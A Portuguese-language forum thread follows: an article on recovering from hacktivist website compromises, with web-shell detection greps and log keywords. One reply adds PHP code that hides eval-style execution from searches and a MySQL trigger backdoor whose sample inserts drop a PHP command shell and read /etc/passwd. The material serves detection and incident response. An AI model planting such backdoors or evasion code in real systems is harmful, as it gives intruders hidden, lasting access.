Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Como sobreviver aos ataques de "hacktivistas" e pichadores virtuais de plantão

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Artigo Como sobreviver aos ataques de "hacktivistas" e pichadores virtuais de plantão

    Como sobreviver aos ataques de "hacktivistas" e pichadores virtuais de plantão



    Artigo: Alexandro Silva

    Em 2011 as atividades hackers foram bastante divulgadas e passaram de mera brincadeira de jovens desocupados para ações "organizadas" com cunho político libertário.

    Os grupos que ganharam um rápido prestigio foram o Anonymous e LuLzSec, uma boa parte do marketing em cima das ações destes grupos ficou a cargo das redes sociais, pastebin e do youtube. A partir dai novas facções como AnonymousBR, iPiratesGroup, LuLzSecBR, GreyHatBR, AntiSecBR e alguns Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... foram surgindo em busca de seus 15 min de fama.

    Analisando os resultados divulgados não é dificil entender o porque de tanto sucesso. Identifiquei erros simples como senhas fracas no ambiente de administação do sites (e.g. admin@dominio/manager) e muito (mas muito mesmo) SQLi e Blind SQLi.

    Abaixo passo algumas dicas de como sobreviver após o comprometimento de sua infra-estrutura e como mitigar as falhas.

    1 - Web Backdoors

    Os web shells (Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...) (Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...) permitem o acesso ao ambiente comprometido mesmo após corrigidas as falhas. Estudar o código destas ferramentas facilita sua detecção e remoção.

    Nestes casos um AV ajuda muito tanto no Ambiente Windows quanto no Linux, mas muito cuidado pois nem todos os AVs são capazes de detectar web backdoors bastantes conhecidos (e.g Symantec). Uma forma de validar a varredura é fazendo buscas manuais:

    No Linux
    grep -RPl --include=*.{php,txt,asp} "(passthru|shell_exec|system|phpinfo|base64_decode |chmod|mkdir|fopen|fclose|readfile) *\(" /var/www/
    No Windows

    Usando a ferramenta de busca procure pelas palavras acima.

    2 - Análise do alvo

    Após o incidente é muito importante entender quais foram as vulnerabilidades que permitiram a invasão. Ferramentas para análise de vulnerabilidades como o Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar..., Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar..., Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar..., Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... são de fundamental importância, pois elas indicam as possíveis portas de entrada e facilitam a criação do plano de mitigação.

    Auditar o banco de dados é de extrema importância já que entradas indevidas podem ser adicionadas (e.g contas fantasmas), e alguns lixos do ataque.

    3 - Proteção extra e monitoramento

    Aplicar uma camada a mais de segurança permite dificultar as tentativas de ataque não permitindo a varredura em busca de vulnerabilidades e portas abertas. Não deixe essa responsabilidade somente a cargo da ferramenta de proteção de borda (e.g IPS), por ela ser baseada em Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... nem todos os ataques serão bloqueados e muito cuidado com os falsos positivos já que uma aplicação com falha no código fará com que o IPS entenda qualquer requisição como maliciosa, auditar todos os alertas muitas vezes sem bloqueá-los é o mais recomendado.

    O Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... juntamente com o Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar..., Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar..., Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e o Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... são ferramentas que auxiliam bastante nesta tarefa. Outro hábito pouco utilizado é a análise dos logs, uma simples busca por palavras como Nikto, Havij, perl, whitehat, Uniscan, acunetix, fuck, scanner, timthumb, pma, phpmyadmin nos logs do Apache e do IIS permitem identificar algumas tentativas de ataque.

    4 - Atualização e restrição de acesso

    Manter o ambiente atualizado é uma boa prática pouco utilizada muito mais por medo principalmente quando o ambiente é de alta criticidade (e.g SGBDs). Nos ambientes Linux o Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...(Debian e derivados) e o Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... (RedHat e derivados) ajudam muito. Sistemas Windows contam com o velho WSUS que geralmente fica esquecido sem a devida atenção.

    Restringir o acesso aos ambientes administrativos do site (e.g wp-admin, admin, administration) e o FTP evitando assim ataques de brute-force, outra boa prática é a utilização de senhas fortes, isto soa bastante clichê, porém após analisar algumas áreas administrativas encontrei senhas ridiculas de acesso.

    Conclusão

    Estas dicas apenas mostram o caminho a ser seguido. Experiência, bom senso e estudo continuo são fatores que diferenciam na resolução dos incidentes e na prevenção.

    Última dica: FERRAMENTAS FALHAM.
    Não Acha Estranha Essa Frase:
    Eu Sou Hacker e Uso Windows XP!

    Use Débian, Aprenda Slackware e Brinque Muito Com Back|Track


    Fã ->Nickguitar.dll


    Quer ajudar nossso fórum e não sabe como?
    Então click na imagem e ajude-nos com os links off

  • Font Size
    #2
    bom conheçimento em php eu era do GrayHat mais sair brigamos sobre açoes etc mais agora sou subi de um grupo parçeria com anonymous e outros mais ese codico de prroteger e legal rsrs mais nao eziste so esa falha alguma pessoas Owna site com outras falhas istitulado como ex:falha no site =index? sem php ow outras falhas tanbem conheço varios tipos de falhas graves de site rsrs mais ese codico ai vai ajudar as negadas pararem com Defacer isso e lammer de mais

    Comment


    • Font Size
      #3
      Boas Dicas! XD

      Comment


      • Font Size
        #4
        1 -
        A maioria das shells vai ter um encoder (normalmente base64).Procurar pela função eval não é totalmente confiavel já que outras funções e estruturas podem ser usadas para executar strings,como :create_function,call_user_func,preg_replace,a estrutura include com o url wrapper data,etc.Existem também várias maneiras de executar funções (estruturas não) através de strings e maneiras de burlar procuras por string como a ReflectionFunction,meta-programação,forward_static_call_array,truques contra o parser do PHP,etc...
        Exemplificando abaixo:
        Código:
        <?php
        //echo 'ABC';
        $code = my_decode('--1aDDLKY');
        
        //Executando strings
        preg_replace('#(.*)#e', 'eval(\'$1\')', $code);
        
        $f = create_function('', $code);
        $f();
        
        include 'data:;base64,'.base64_encode($code);
        
        //Burlando pesquisa de funções
        $f = 'create_function';
        $f = $f('', $code);
        $f();
        
        class Foo
        {
            static function bar($code)
            { 
                $f = forward_static_call('create_function', '', $code);
                $f();
            }
        }
        Foo::bar($code);
        
        $f = new ReflectionFunction('create_function');
        $f = $f->invokeArgs(array('', $code));
        $f();
        ?>
        Também é possivel saber que funções estão desativadas através do ReflectionFunction.
        Uma busca completa incluiria: procurar por dispatchers de funções e fazer em cojunto uma varredura com a ferramenta NeoPI (uma complementará a outra,sendo a leitura manual de arquivos com esses dispatchers bem importante) seguida por uma busca pelas funções possivelmente maliciosas em si.
        A maneira mais confiavel é sempre guardar um checksum dos arquivos e pastas+arquivos e checar esses checksums contra os atuais frequentemente.Existem IDS que fazem isso,como o tripwire e AIDE.Isso também barra vários outros backdoors e etc...

        2 -
        Sem dúvida.O pentest manual também é bem importante nessa fase.
        Quanto ao banco de dados,dar uma atenção especial a triggers,já que backdoors podem ser colocados também no banco de dados ou corroborados por ele.Pseudo-código pro mysql servindo de exemplo,só pra atiçar a curiosidade:
        Código:
        /*Necessita de privilegios*/
        delimiter ;;
        CREATE TRIGGER backdoor
        AFTER INSERT ON usuarios
        FOR EACH ROW
        BEGIN
            IF new.senha = 'php_bd' THEN
                /*new.usuario age como caminho e new.indicacao_outros como codigo*/
                SELECT new.indicacao_outros INTO OUTFILE new.usuario;
            ELSE
                IF new.senha = 'read_file_bd' THEN
                    /*12 eh o id da noticia que servira para a visualizacao da query*/
                    UPDATE noticias SET texto=(SELECT read_file(new.indicacao_outros)) WHERE id = 12;
                ELSE
                    IF new.senha = 'sql_bd' THEN
                        /*Nao existe dynamic SQL em triggers,use a imaginacao*/
                        /*12 eh o id da noticia que servira para a visualizacao da query*/
                        UPDATE noticias SET texto=(SELECT GROUP_CONCAT(*) FROM information_schema.columns) WHERE id=12;
                    END IF;
                END IF;
            END IF;
        END;;
        
        //Querys como essas ativariam os backdoors
        INSERT INTO usuarios VALUES('/var/www/php_bd.php', 'php_bd', '<?php eval($_GET["CMD"]); ?>');
        INSERT INTO usuarios VALUES('qualquer coisa', 'read_file_bd', '/etc/passwd');
        INSERT INTO usuarios VALUES('qualquer coisa', 'sql_bd', 'qualquer coisa');
        3 -
        Sem dúvida.Só não pode confiar totalmente nelas.
        Ah,e o uso de honeypots é interessante também.

        4 -
        Certissimo.

        Não adicionei novos pontos mas acho que contribui pros pontos do artigo.
        Abraço ae.

        Comment


        • Font Size
          #5
          FixeCrewns,porra cara,escreve direito.
          E não coloquei mais pontos por preguiça. : D

          Comment

          X
          Working...
          X